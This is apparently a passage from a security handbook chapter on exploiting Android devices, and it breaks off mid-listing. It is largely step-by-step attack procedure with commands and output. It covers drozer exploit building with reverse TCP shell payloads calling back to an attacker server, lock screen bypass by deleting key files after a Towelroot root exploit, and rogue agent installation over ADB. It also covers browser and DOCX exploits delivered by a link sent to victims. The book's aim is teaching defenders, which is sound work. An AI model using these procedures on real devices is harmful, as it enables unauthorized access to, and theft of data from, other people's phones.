Built-In Exploits

drozer exploits are modules that in some way allow you to get code execution on a device. To get a list of all available exploits inside drozer, issue the following command:

$ drozer exploit list 

Exploitation modules are ones that specify the following attribute in their code:

module_type="exploit" 

This makes the module available outside of the drozer console and available under the drozer exploits list. This provides a logical separation between modules that can be run when access has been obtained on a device and those that can be used to get code execution on a device. We make extensive use of exploits in this chapter and explain their usage in their appropriate sections.

Using Standard Payloads

drozer payloads are the raw commands or shell code that you can embed inside an exploit to integrate with the drozer exploitation flow. The following payloads were available at the time of writing:

$ drozer payload list 
shell.reverse_tcp.armeabi   Establish a reverse TCP Shell (ARMEABI) 
weasel.reverse_tcp.armeabi  weasel through a reverse TCP Shell (ARMEABI) 
weasel.shell.armeabi        Deploy weasel, through a set of Shell 
                            commands (ARMEABI)

When choosing a payload, making use of weasel, drozer's multi-purpose payload, is good practice. Weasel automatically tries to gain maximum leverage on a device and set up the exploited application to connect back to the drozer server. Weasel tries a number of techniques to run a drozer agent after exploitation has taken place:

  • If you have exploited a privileged application, weasel will attempt to install a full rogue agent APK and start it.
  • Weasel performs a technique that replaces the running process with a drozer agent (in JAR format) using the app_process binary present on Android devices. This method causes the drozer agent to lose Context. The consequences of this are shown in relevant sections in the remainder of the chapter. This agent without Context is referred to as a limited agent.
  • Weasel also provides a normal reverse shell connection back to the drozer server, in case the other techniques have failed. Obtaining a drozer session is much better than obtaining a normal shell though because of all the additional functionality it provides.

Weasel may sometimes fail to load a limited agent using the app_process method because this technique is very sensitive to having the correct environment variables set, particularly the BOOTCLASSPATH variable. A lot of the time when weasel has been loaded, the exploitation technique used has trashed the process's environment variables and so weasel has to do some guesswork to reconstruct the BOOTCLASSPATH. This method also does not allow the agent to obtain the exploited application's Context, which limits access to standard Android features.

MitM Helper Extension for Burp

Performing a man-in-the-middle attack as presented earlier in this chapter is a powerful method for compromising applications. To help better integrate drozer into this process, a Burp extension was created for performing common attack tasks. It is located inside the installed drozer directory: /src/drozer/lib/scripts/mitm-helper.py. You load it by going to the Extensions ➢ Add button and then selecting the file. This extension relies on Jython being properly set up in the Extender ➢ Options tab. We explore the use of this extension in the “Man-in-the-Middle Exploits” section later in this chapter.

Explanation of Privilege Levels

Before delving into the exploitation of devices, knowing what kind of access an attacker can obtain on devices and what privilege level is associated with this access is useful.

Non-System Application without Context

The classic Android hacking demonstration shown on the Internet is visiting a website and an attacker gaining shell access to a device. With this access he obtains the privilege level of the compromised application and can navigate the filesystem under the user context of the browser. This level of access does not allow the attacker to invoke functionality on the OS that uses any Java libraries. This means that if the compromised application has been granted the READ_SMS permission, the attacker will not have access to the associated content providers because he is unable to create and invoke any Java code from the Context class. Permissions that map directly to the application UID being part of a group (e.g., READ_EXTERNAL_STORAGE) will allow the attacker to access the SD card because this is within the constraints of a Linux shell. Typically, non-system applications do not have the ability to install additional packages unless the compromised application holds the INSTALL_PACKAGES permission. If this is the case the attacker could use pm install to install a full malicious Android package.

However, as mentioned previously drozer contains a payload called weasel that performs some tricks to be able to load a rogue drozer agent without installing an application. Using weasel, replacing the compromised application's process in memory with that of a drozer agent is possible. However, the drozer agent will not be able to obtain Context. Context is a class that provides information about a particular application's environment. It provides access to IPC functionality provided by Binder and allows the invocation of all the application components. If an attacker's code is able to run and obtain Context then it is able to make use of the permissions granted to the application. drozer will detect whether the instance received has Context or not and adjust the available modules inside the console to only those that can work without Context.

Non-System Application with Context

An exploit payload that is able to take over an application's execution flow and load its own arbitrary classes will be able to retrieve application Context. An attacker would be able to leverage the permissions of the granted application to perform post-exploitation tasks. For example, if the compromised application held the READ_SMS permission then the attacker's code would be able to query the content://sms content provider. When an attacker's code is able to obtain Context it is immediately a lot more dangerous than without it.

Installed Package

An installed package can request an arbitrary set of permissions and be granted them depending on the protection level set on each. If an attacker is in a position to install any package, he will be able to reliably access anything that a third-party application developer would. This provides access to the device and its resources as specified by its permissions.

ADB Shell Access

An ADB shell provides powerful access on a device. It provides the ability to install additional packages, interact with applications as a developer, and gain access to a multitude of additional attack vectors that installed applications cannot.

System User Access

System user access on a device means that an attacker's code is running as the “system” user. This is the same user that is used for very sensitive OS functionality. The system user can install new packages, manipulate device configuration settings, and access data from any application's private data directory. An attacker who has gained this level of access can compromise almost all aspects of the device and its security.

Root User Access

Root access is the ultimate access that can be gained on a UNIX-based system. An attacker who has root access can manipulate absolutely any aspect of the device. This includes installing additional packages, reading and writing to device memory, and manipulating absolutely any other aspect of the device.

Practical Physical Attacks

This section focuses on gaining access to a device that you have in your possession. This section also assumes no prior knowledge of the lock screen password or PIN. If you have the password or PIN of the lock screen then you have unfettered access to the device and should skip to the “Infiltrating User Data” section after installing your remote administration tool of choice.

Getting ADB Shell Access

Getting an ADB shell on a device is the easiest way to gain access to information on the device or launch further attacks against it. Two predominant ways exist to get an ADB shell when you have not gotten past the lock screen of a device.

USB Debugging

Android devices have a feature called USB debugging that allows ADB access from a computer to a connected device. Most Android devices come with USB debugging turned off by default. Enabling USB debugging opens a device to attack from physical access. Simply using the following command allows access to a connected device that has USB debugging enabled:

$ adb shell 
shell@android:/ $

ADB access to a device allows the exposure of data on the device as well as the installation of new packages. Therefore, in versions of Android including 4.2.2 and newer, a security feature was added that helped secure against an attacker having physical access to a device with USB debugging enabled. A prompt appears to the user when he connects his computer to a device that has USB debugging enabled. Figure 8.1 shows an example of this prompt.

images

Figure 8.1 The prompt shown to the user when a device with USB debugging is connected to his computer

Attempting to use adb shell when a device is locked results in the following error on the terminal:

error: device unauthorized. Please check the confirmation dialog on your 
device 

This means that it is not possible to connect a phone and interact with ADB without first getting past the lock screen.

However, on February 26, 2014, Henry Hoggard from MWR InfoSecurity reported a bug to Google revealing a way to bypass this prompt on versions of Android including 4.2.2 up until 4.4.2. By navigating to the emergency dialer or lock screen camera and then initiating the connection with ADB, the authorization prompt still showed, even though the screen was locked. Sometimes to kickstart the authorization prompt you need to perform an adb kill-server and then adb shell again. This issue is documented at https://labs.mwrinfosecurity.com/advisories/2014/07/03/android-4-4-2-secure-usb-debugging-bypass/.

This means that this method of exploiting devices works on all Android versions up to and including 4.4.2.

Unlocked Bootloaders

Some device manufacturers allow users to unlock their bootloaders and flash or boot into custom images on the device. To unlock the bootloader on a Nexus device, you can use the following command when the device is displaying the bootloader:

$ fastboot oem unlock 
... 
(bootloader) erasing userdata... 
(bootloader) erasing userdata done 
(bootloader) erasing cache... 
(bootloader) erasing cache done 
(bootloader) unlocking... 
(bootloader) Bootloader is unlocked now. 
OKAY [ 40.691s] 
finished. total time: 40.691s

When unlocking a bootloader, the Android OS forces a factory reset and all user data is wiped. This prevents attackers from simply booting into custom system images that provide access to the device's data. However, some users may forget to lock their bootloader again after they have flashed a custom image, which leaves it wide open for an attacker who has physical access to the device. Booting into a custom recovery ROM and gaining an ADB shell running as root is possible. The following list explains this attack for a Nexus 7 device.

  1. If the device is still powered on, turn it off.
  2. Hold down the volume down key and power at the same time to boot into the bootloader.
  3. The bootloader appears, with a screen displaying Start.
  4. If you see LOCK STATE - UNLOCKED, the device has an unlocked bootloader and is vulnerable to attack. A device with an unlocked bootloader will also display an unlocked padlock on the screen when booting up.
  5. Download the correct ClockworkMod Recovery ROM (see https://www .clockworkmod.com/rommanager) image for the device.
  6. Boot into the image by performing the following:

    $ fastboot boot recovery-clockwork-touch-6.0.4.3-grouper.img 
    downloading 'boot.img'... 
    OKAY [  0.875s] 
    booting... 
    OKAY [  0.019s] 
    finished. total time: 0.895s

    If the bootloader is locked, this step will fail with a “Bootloader is locked” error message.

  7. You should now see the ClockworkMod Recovery screen. At this point you are able to invoke a root ADB shell.
$ adb devices 
List of devices attached 
015d25687830060c    recovery 
 
$ adb shell 
~ # id 
uid=0(root) gid=0(root)

Performing this technique can be cumbersome depending on the device manufacturer. Some device manufacturers make use of their own bootloaders and proprietary tools to interact with them. You would have to investigate this possibility for the device in question.

Bypassing Lock Screens

If the intent is not to compromise the device long term and maintain access but merely to get access to it, then use the information in this section, which delves into some ways to bypass the lock screen on a device. No forensic techniques involving observing smudges on a device to determine touches will be discussed.

Using the DISABLE_KEYGUARD Permission

Android contains a permission called DISABLE_KEYGUARD that allows applications holding this permission to remove the lock screen temporarily. You can do this inside an application by implementing the following code:

KeyguardManager kgm = ((KeyguardManager)getSystemService("keyguard")); 
KeyGuardManager.KeyguardLock kgl = kgm.newKeyguardLock("mahh"); 
kgl.disableKeyguard();

Even though the KeyguardManager.KeyguardLock class was deprecated in API 13 (Android 3.2), this technique continues to work on the latest Android devices. By using a post-exploitation module in drozer with KeyguardManager .KeyguardLock, a hacker can disable the lock screen. The rogue drozer agent by default assigns the DISABLE_KEYGUARD permission, but the person using the rogue agent must have somewhere to host a server for the agent to connect to. Rather, to do this on a device with USB debugging enabled and a standard drozer agent, you can compile a new agent with the DISABLE_KEYGUARD permission as follows:

$ drozer agent build --permission android.permission.DISABLE_KEYGUARD 
Done: /tmp/tmpW5TSbA/agent.apk

Install the agent and start the embedded server, which opens a listening port on the device:

$ adb install /tmp/tmpW5TSbA/agent.apk 
3498 KB/s (653640 bytes in 0.182s) 
     pkg: /data/local/tmp/agent.apk 
Success 
 
$ adb shell am broadcast -n com.mwr.dz/.receivers.Receiver -c 
com.mwr.dz.START_EMBEDDED 
 
Broadcasting: Intent { cat=[com.mwr.dz.START_EMBEDDED] 
cmp=com.mwr.dz/.receivers.Receiver } 
Broadcast completed: result=0

The listening embedded server port must be forwarded to the connected computer:

$ adb forward tcp:31415 tcp:31415 

Running the post.perform.disablelockscreen module disables the device's lock screen:

$ drozer console connect -c "run post.perform.disablelockscreen" 
Selecting 4f804a5a07bbb229 (unknown sdk 4.4.2) 
 
[*] Attempting to disableKeyguard() 
[*] Done. Check device.

The last step assumes that the relevant post module is already installed in drozer by doing module install disablelockscreen. The lock screen can be re-enabled by pressing the home button on the device. This technique was tested on an Android 4.4.2 emulator and multiple devices running versions up to 5.0 Lollipop and proves to reliably remove the lock screen.

Removing Key Files

If a pattern lock screen is set on a device, a file located at /data/system/gesture .key stores a representation of this pattern. In the same way, a device using a PIN or password lock screen stores a salted hash of it in /data/system/password .key. Removing these files will disable the lock screen entirely. The file permissions set on these files are as follows:

-rw------- system   system    20 2014-11-03 15:10 gesture.key 
... 
-rw------- system   system    72 2014-11-03 15:10 password.key

Observing the owner, group, and permissions set on these files reveals only the system or root user will be able to delete them. This means a hacker has to find a way on the device to escalate privileges from the shell user to either system or root. The target for this exercise is a Sony Xperia Z2 running Android 4.4.2. This device is not vulnerable to any of the Master Key vulnerabilities; otherwise, Cydia Impactor could be used to escalate privileges to the system user.

Instead take a look at the kernel version in use on this device:

shell@D6503:/ $ cat /proc/version 
Linux version 3.4.0-perf-g46a79a0 (BuildUser@BuildHost) (gcc version 4.7 
(GCC) ) #1 SMP PREEMPT Wed Mar 5 20:49:56 2014

Chapter 6 covered a kernel exploit dubbed Towelroot that claims to be able to exploit all kernel versions compiled prior to June 16, 2014. However, the official version of Towelroot is inside an application without any clear paths to executing it from an ADB shell. An alternate standalone version of this exploit that is based on an early version of Towelroot is available at https://gist.github.com/fi01/a838dea63323c7c003cd. It requires slight alterations to the following line:

ret = system("/system/bin/touch /data/local/tmp/foo"); 

This line should rather execute /system/bin/sh to provide a root shell. After making this change you can compile this code by creating a standard NDK folder structure and running ndk-build from the root. You can upload the resulting binary (named exploit in this instance) to the device to the /data/local/tmp directory, marked as executable and then run to obtain a root shell:

$ adb push exploit /data/local/tmp 
342 KB/s (17792 bytes in 0.050s) 
$ adb shell 
shell@D6503:/ $ cd /data/local/tmp 
shell@D6503:/data/local/tmp $ chmod 775 exploit 
shell@D6503:/data/local/tmp $ ./exploit 
************************ 
native towelroot running with pid 4335 
got kernel version Linux version 3.4.0-perf-g46a79a0 (BuildUser@BuildHos 
 t) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Wed Mar 5 20:49:56 2014 
 
got kernel number 0 
no matching phone found, trying default 
i have a client like hookers 
starting the dangerous things 
0xf1d78000 is a good number 
cpid1 resumed 
0xf1d7ddcc is also a good number 
0xf1d8a000 is a good number 
cpid1 resumed 
0xf1d8ddcc is also a good number 
GOING 
cpid3 resumed 
WOOT 
YOU ARE A SCARY PHONE 
shell@D6503:/data/local/tmp # id 
uid=0(root) gid=0(root) groups=1004(input),1007(log),1009(mount),1011(ad 
b),1015(sdcard_rw),1028(sdcard_r),2991(removable_rw),3001(net_bt_admin), 
3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0 

At this point, a root shell is more than sufficient to remove the lock screen:

shell@D6503:/data/local/tmp # rm /data/system/password.key 

Figure 8.2 shows a screenshot of the device before and after executing this command.

images

Figure 8.2 A screenshot of a Sony Xperia Z2 before and after having the password lock screen removed

On older devices, making use of Cydia Impactor offers an excellent option that reliably provides system user access with physical access. This tool and family of vulnerabilities it exploits was discussed in the Chapter 6 section, “Rooting Explained.” The particular option in Cydia Impactor that provides system user access is Start Telnetd as System on Port 2222. This option initiates a shell on TCP/2222 that is running as the system user. This port can be forwarded to the local computer using ADB and then connected to with a telnet client to obtain system user access. Another example of a trivial vulnerability that would allow system user access is if any debuggable application on the device were running as the system user. Chapter 7's section, “Exploiting Misconfigured Package Attributes” covered exploitation of this issue.

Gaining root access and removing a key file is possible if the victim has unlocked her bootloader and forgotten to lock it again. If you use the method shown earlier of loading ClockworkMod (CWM) on a Nexus device and getting a root ADB shell, the key file can be removed. Make sure that you have mounted the /data partition by navigating to Mounts and Storage and clicking mount /data. Using an ADB shell from CWM, you can remove all key files as follows:

~ # rm /data/system/*.key 
~ # reboot

The device will now reboot and still show the lock screen. However, it will accept any pin, password, or pattern you use and log you into the device.

Abusing Android Application Issues

As mentioned in “Exploiting Activities” in Chapter 7, Curesec discovered a vulnerability in the com.android.settings package that can be used to remove the device lock screen. This affects all devices running Android 4.3 or earlier. To find the vulnerability details, search for CVE-2013-6271 or get more information from the authors on their blog at https://cureblog.de/2013/11/cve-2013-6271- remove-device-locks-from-android-phone/. To abuse this vulnerability and remove the lock screen of a device, perform the following in an ADB shell:

shell@android:/ $ am start -n com.android.settings/com.android.settings. 
ChooseLockGeneric --ez confirm_credentials false --ei 
lockscreen.password_type 0 --activity-clear-task 
 
Starting: Intent { flg=0x8000 cmp=com.android.settings/ 
.ChooseLockGeneric (has extras) }

This works from any context and can also be invoked using an installed drozer agent by making use of the module provided by Curesec for this issue. You can install it by performing module install curesec.cve-2013-6271. Note that this will not work from an ADB shell provided from abusing an unlocked bootloader because it relies on the Android system being operational and able to receive intents.

Using Logic Flaws that Don't Require Shell Access

If you consider it, a lock screen is a complicated piece of software. It has to take into consideration when a user is allowed to interact with the device. Especially when you consider that a user is able to do some actions on the device from the lock screen, such as place emergency phone calls, receive phone calls, and allow third-party applications to temporarily disable the lock screen or show another activity in front of it. Complicated logic is often prone to flaws that can be used to do something that is not intended by the developer. For instance, on a Motorola Droid device bypassing the lock screen was possible by phoning the locked device and answering the call. Then while the call was active, you simply pressed the back button and you were able to access the device. This occurred because the phone application disabled the keyguard when receiving a call and the user could back out of it like any other application on the device. This was found and documented at https://theassurer.com/p/756.html. You can find many similar issues on the Internet documenting logic flaws in the lock screen on certain devices. The way that third-party applications handle being displayed over the lock screen can also introduce lock screen bypass vulnerabilities. For example, in 2013 a vulnerability was reported in a free messaging and calling application named Viber (see http://www.viber.com/) that worked in exactly the same way as the Motorola vulnerability. Sending a Viber message to a locked device causes Viber to display the message over the lock screen. It was then possible to bypass the lock screen completely by tapping the back button multiple times. To see a video of this exploit in action by BkavCorp visit http://www .youtube.com/watch?v=tb4y_1cz8WY.

Using Legitimate Lock Screen Reset Functionality

Android has its own built-in mechanisms to help users who have forgotten their lock screen password. However, this requires some form of authentication. Two general techniques work on Android devices and both of them require the user's Google username and password:

  • Entering the password, PIN, or pattern incorrectly five times on the lock screen causes a new button to appear on the lock screen that says something like “Forgot pattern?” This button opens a screen for entering the credentials for a linked Google account and changing the lock screen. Figure 8.3 shows the Forgot pattern? button and the screen that asks for Google credentials.
  • If the user has enabled the Android Device Manager on their device then the user could visit https://www.google.com/android/devicemanager and control aspects of the device. Using the user's Google credentials to log in to this interface shows a list of connected devices and allows the user or attacker that has stolen these credentials somehow to reset the lock screen on any of them. Figure 8.4 shows the Device Manager web interface after clicking the Lock button and the message presented on the locked device.
images

Figure 8.3 Showing the Forgot pattern? button and the resulting screen by pressing it

images

Figure 8.4 The Android Device Manager Lock functionality and the resulting screen of the locked device

There may also be ways to reset a device's lock screen specific to a device or manufacturer. Some manufacturers like to include their own applications on devices and this could very well include functionality to reset the lock screen. You would have to investigate this for the device in question but it would almost certainly require a form of authentication similar to the standard Android equivalents. If appropriate authentication is not required to perform a reset using one of these custom features, it is considered a vulnerability in itself.

Installing a Rogue drozer Agent through ADB

After you have an ADB shell, you will be able to install tools on the device that allow you to access them remotely. A rogue drozer agent could be generated and installed on the device with ADB access. However, the agent would have to be started for the first time from ADB as well because Android applications are disabled by default when they are installed. To kickstart the agent you can invoke it using one of the ways mentioned in the “Rogue Agents” section earlier in this chapter. The most reliable way to install a rogue agent on modern devices is starting its service as follows:

shell@android:/ $ am startservice -n com.mwr.dz/.Agent 

You can find an automated drozer module that can install a rogue agent very quickly and invoke it at exploit.usb.socialengineering.usbdebugging. Here is an example of using it:

$ drozer exploit build exploit.usb.socialengineering.usbdebugging 
--server 192.168.1.102 
[*] Building Rogue Agent... 
[*] Checking adb setup... 
[+] adb is set up correctly 
[*] Connect device and press [ENTER] 
 
[*] Attempting to install agent... 
[+] Rogue Agent installed 
[*] Attempting to kick start drozer agent - Method 1 (Service) 
[+] Service started. You should have a connection on your server

Directly after the service starts, a new drozer session is established with the drozer server:

2014-10-30 21:16:28,925 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 5fe89aa7ae424b6

Performing this method from an ADB shell obtained through exploiting an unlocked bootloader will not work. Instead, the focus should be to bypass the lock screen and obtain an ADB shell on the working system. From the exploited bootloader you can push a new application and essentially “install” it by simply placing a new APK into the /data/app/ directory on the device via ADB. However, you would need to find another method to invoke the agent and enable it for the first run.

Practical Remote Attacks

Knowing which attacks will work against a particular target and the various versions of Android is what makes a successful hacker. This section presents a practical hands-on approach to hacking Android devices remotely. Knowing the steps a hacker has to take helps security professionals develop ways to prevent attacks.

Remote Exploits

Remote exploits are the ideal attack for someone wanting to stay anonymous. They can be launched over the Internet seemingly without repercussions and tracing their origin is difficult. We cover examples of remote exploits and use them to explore three modes of exploitation with drozer's payload:

  • Loading a drozer JAR that loads a limited agent
  • Installing and starting a rogue drozer agent by abusing INSTALL_PACKAGES
  • Loading a drozer JAR that is passed Context

These modes will be explored respectively in each subsection.

Browser Memory Corruption

Memory corruption exploits are some of the most technical exploits in existence. People are constantly targeting users' browsers for exploitation, and this also means that Google has spent a lot of time and money ramping up exploit mitigations. Browser exploits on the latest versions of Android have to be crafted to bypass several exploit mitigations as well as trigger the vulnerability reliably. Let us rewind back to simpler times for exploit writers when hardly any exploit mitigations were implemented. CVE-2010-1759 is a WebKit vulnerability in the DOM normalize method reported by Mark Dowd. We do not delve into the technicalities of the exploit but rather just use a drozer exploit on an Android 2.2 device.

To begin, you would need to start a drozer server and use the exploit module for this issue at exploit.remote.browser.normalize with a reverse TCP weasel payload. To push the exploit to a drozer server, use the following command:

$ drozer exploit build exploit.remote.browser.normalize --payload 
weasel.reverse_tcp.armeabi --server 192.168.1.112 --push-server 
127.0.0.1 --resource / 
Uploading weasel to /weasel and W...  [  OK  ] 
Packaging an Agent... (this may take some time) 
Uploading the Agent to /agent.apk and A...  [  OK  ] 
Uploading blank page to /...  [  OK  ] 
Uploading Exploit to /...  [  OK  ] 
Done. The exploit is available on: http://192.168.1.112:31415/

The --push-server means that you want to push the exploit pages to the drozer server, which is on your local computer but specifying --server as the network IP address where the weasel payload must call back to. If you specify the --server as 127.0.0.1, then when the exploit payload executes it tries to connect to itself rather than the drozer server. This is useful if you are exposing the drozer server to the Internet and want to push the exploit resources to it from your internal network.

Browsing to this server from an Android 2.2 device yields the following in the drozer server log and promptly closes the browser:

2014-11-09 15:02:03,914 - drozer.server.protocols.http - INFO - GET / 
2014-11-09 15:02:26,221 - drozer.server.protocols.byte_stream - INFO - 
MAGIC W 
2014-11-09 15:02:26,461 - drozer.server.protocols.shell - INFO - 
accepted shell from 192.168.1.112:46376 
2014-11-09 15:02:26,465 - drozer.server.protocols.http - INFO - GET 
/agent.jar 
2014-11-09 15:02:26,470 - drozer.server.protocols.http - INFO - GET 
/agent.apk 
2014-11-09 15:02:28,416 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 1rp1edub6ieru

This output tells you two things: You got a normal reverse shell connection connected to the drozer server as well as a proper drozer connection. Querying the server confirms the drozer connection:

$ drozer console devices 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
1rp1edub6ieru     unknown              unknown               unknown

Connecting to the instance shows that the prompt is dz-limited>, and typing permissions confirms that you have no Context:

$ drozer console connect 1rp1edub6ieru 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz-limited> permissions 
Has ApplicationContext: NO

This type of session disables all functionality that requires Context but still has useful tools for pilfering files off the device and escalating privileges. With this session you can get a normal shell by typing:

dz-limited> shell 
$ id 
uid=10019(app_19) gid=10019(app_19) groups=1015(sdcard_rw),3003(inet) 
$ exit

This spawns a shell session from within drozer. However, let us turn back to the other reverse shell connection we got on the drozer server. You can interact with it by connecting to the drozer server with netcat or telnet as follows and typing COLLECT:

$ nc 127.0.0.1 31415 
COLLECT 
drozer Shell Server 
------------------- 
There are 1 shells waiting... 
 
  192.168.1.112:46376 
 
Shell: 192.168.1.112:46376 
Selecting Shell: 192.168.1.112:46376 
 
$ id 
uid=10019(app_19) gid=10019(app_19) groups=1015(sdcard_rw),3003(inet) 
$ ^C

Terminating the shell with Control+C instead of typing exit is very important. Typing exit will actually close the shell connection with the remote victim. Admittedly, this example is quite old. However, there has been a decline in memory corruption exploits for the Android browser being released publicly in the past years. The exploitation concepts and the use of drozer would be exactly the same as shown in the example here; however, the internals of the exploit would be far more sophisticated.

Polaris Viewer Memory Corruption

Polaris Viewer is an application that was created by Infraware to read office documents and PDFs. It comes pre-installed on some devices by default because the manufacturer has agreements with Infraware. At Mobile Pwn2Own in 2012, a team from MWR InfoSecurity demonstrated an exploit against a Samsung Galaxy S3. This was in fact an exploit affecting Polaris Viewer via a crafted DOCX file. There was a stack-based overflow in the parsing of the adj tag of a VML shape that took place in the bundled native Polaris library. Taking control of the Polaris Viewer process was possible by exploiting this vulnerability. However, it was also found that the application held the INSTALL_PACKAGES permission. This meant that after code execution was obtained, an arbitrary new application could also be installed on the device.

An exploit for this issue is present in drozer as the exploit.remote.fileformat.polarisviewerbof_browserdelivery module. This exploit hosts the malicious document on a drozer server as well as an extra file named auth.bin. These files are automatically downloaded when you visit the drozer server from the phone's browser. The auth.bin file is present because of the way the exploit works. All that the exploit does is set up the call to execute an external script file, which in this case is auth.bin. This was done out of necessity because of the exploit mitigations present on the Galaxy S3 that made exploitation difficult. As a result of the exploit mitigations, the exploit in drozer is also dependent on a certain linker being present on the device—particularly, the linker provided by T-Mobile for this exact compiled version of the device software. To set up this attack using drozer you would need to start a drozer server and then upload the resources to it as follows:

$ drozer exploit build exploit.remote.fileformat.polarisviewerbof 
_browserdelivery --payload weasel.shell.armeabi --server 192.168.1.112 
Uploading weasel to /weasel and W...  [  OK  ] 
Packaging an Agent... (this may take some time) 
Uploading the Agent to /agent.apk and A...  [  OK  ] 
Uploading blank page to /...  [  OK  ] 
Uploading shell script to auth.bin...  [  OK  ] 
Uploading document to /download.docx...  [  OK  ] 
Uploading web delivery page to \/view\.jsp\?token\=iSI2hvwNosnZiWoq... 
[  OK  ] 
Done. Exploit delivery page is available on: 
http://192.168.1.112:31415/view.jsp?token=iSI2hvwNosnZiWoq

The victim who has a vulnerable device can now be sent this “unique” link to click on and download her awaiting document. After she does this, her browser will automatically download the malicious documents and the accompanying exploit that writes out weasel using shell commands. When the user visits the website, the drozer server shows the following log entries:

2014-11-09 21:49:42,320 - drozer.server.protocols.http - INFO - GET / 
2014-11-09 21:49:49,112 - drozer.server.protocols.http - INFO - GET / 
2014-11-09 21:51:10,112 - drozer.server.protocols.http - INFO - GET 
/view.jsp?token=iSI2hvwNosnZiWoq 
2014-11-09 21:51:10,309 - drozer.server.protocols.http - INFO - GET 
/auth.bin 
2014-11-09 21:51:10,828 - drozer.server.protocols.http - INFO - GET 
/auth.bin 
2014-11-09 21:51:17,381 - drozer.server.protocols.http - INFO - GET 
/download.docx 
2014-11-09 21:51:17,580 - drozer.server.protocols.http - INFO - GET 
/download.docx

At this point the user has received both files. Figure 8.5 shows screenshots of how this looks from the user's perspective.

images

Figure 8.5 A Samsung Galaxy S3 device visiting the exploit page and receiving the exploit files

If the user tries to open auth.bin, nothing will happen because the device has no application to open .bin files. If the user opens the download.docx it will trigger the exploit chain and the device will be compromised. After the document opens, the drozer server log shows the following:

2014-11-09 21:52:30,906 - drozer.server.protocols.shell - INFO - 
accepted shell from 192.168.1.109:48592 
2014-11-09 21:52:30,907 - drozer.server.protocols.http - INFO - GET 
/agent.jar 
2014-11-09 21:52:30,909 - drozer.server.protocols.http - INFO - GET 
/agent.apk 
2014-11-09 21:52:31,964 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 3493i4n3ibqrl 
2014-11-09 21:52:37,356 - drozer.server.protocols.drozerp.drozer - INFO 
- accepted connection from 1b6b125f54bdda30

We got three connections from this device! One is a normal reverse shell connection and the other two are drozer connections. Querying the drozer server for the connected devices reveals the following:

$ drozer console devices 
List of Bound Devices 
 
Device ID         Manufacturer         Model                 Software 
1b6b125f54bdda30  samsung              GT-I9300              4.0.4 
3493i4n3ibqrl     unknown              unknown               unknown

The first entry is a drozer connection where it was able to retrieve the manufacturer, model, and software version. This means that the exploit must have been able to install the full drozer exploit agent and obtain Context. This is plausible because the Polaris Viewer application held the INSTALL_PACKAGES permission. Connecting to the session confirms this:

$ drozer console connect 1b6b125f54bdda30 
            ..                    ..:. 
           ..o..                  .r.. 
            ..a..  . ....... .  ..nd 
              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz> permissions 
Has ApplicationContext: YES 
Available Permissions: 
 - android.permission.ACCESS_COARSE_LOCATION 
 - android.permission.ACCESS_FINE_LOCATION 
 - android.permission.ACCESS_LOCATION_EXTRA_COMMANDS 
 - android.permission.ACCESS_MOCK_LOCATION 
 - android.permission.ACCESS_NETWORK_STATE 
 - android.permission.ACCESS_WIFI_STATE 
 - android.permission.AUTHENTICATE_ACCOUNTS 
 - android.permission.BATTERY_STATS 
 - android.permission.BLUETOOTH 
 - android.permission.BLUETOOTH_ADMIN 
 - android.permission.BROADCAST_STICKY 
 - android.permission.CALL_PHONE 
 - android.permission.CAMERA 
 - android.permission.CHANGE_CONFIGURATION 
 - android.permission.CHANGE_NETWORK_STATE 
 - android.permission.CHANGE_WIFI_MULTICAST_STATE 
 - android.permission.CHANGE_WIFI_STATE 
 - android.permission.CLEAR_APP_CACHE 
 - android.permission.DISABLE_KEYGUARD 
 - android.permission.EXPAND_STATUS_BAR 
 - android.permission.FLASHLIGHT 
 - android.permission.GET_ACCOUNTS 
 - android.permission.GET_PACKAGE_SIZE 
 - android.permission.GET_TASKS 
 - android.permission.INTERNET 
 - android.permission.KILL_BACKGROUND_PROCESSES 
 - android.permission.MANAGE_ACCOUNTS 
 - android.permission.MODIFY_AUDIO_SETTINGS 
 - android.permission.MOUNT_FORMAT_FILESYSTEMS 
 - android.permission.MOUNT_UNMOUNT_FILESYSTEMS 
 - android.permission.NFC 
 - android.permission.PERSISTENT_ACTIVITY 
 - android.permission.PROCESS_OUTGOING_CALLS 
 - android.permission.READ_CALENDAR 
 - android.permission.READ_CONTACTS 
 - android.permission.READ_LOGS 
 - android.permission.READ_PHONE_STATE 
 - android.permission.READ_PROFILE 
 - android.permission.READ_SMS 
 - android.permission.READ_SOCIAL_STREAM 
 - android.permission.READ_SYNC_SETTINGS 
 - android.permission.READ_SYNC_STATS 
 - android.permission.READ_USER_DICTIONARY 
 - android.permission.RECEIVE_BOOT_COMPLETED 
 - android.permission.RECEIVE_MMS 
 - android.permission.RECEIVE_SMS 
 - android.permission.RECEIVE_WAP_PUSH 
 - android.permission.RECORD_AUDIO 
 - android.permission.REORDER_TASKS 
 - android.permission.RESTART_PACKAGES 
 - android.permission.SEND_SMS 
 - android.permission.SET_ANIMATION_SCALE 
 - android.permission.SET_DEBUG_APP 
 - android.permission.SET_PROCESS_LIMIT 
 - android.permission.SET_TIME_ZONE 
 - android.permission.SET_WALLPAPER 
 - android.permission.SET_WALLPAPER_HINTS 
 - android.permission.SIGNAL_PERSISTENT_PROCESSES 
 - android.permission.SUBSCRIBED_FEEDS_READ 
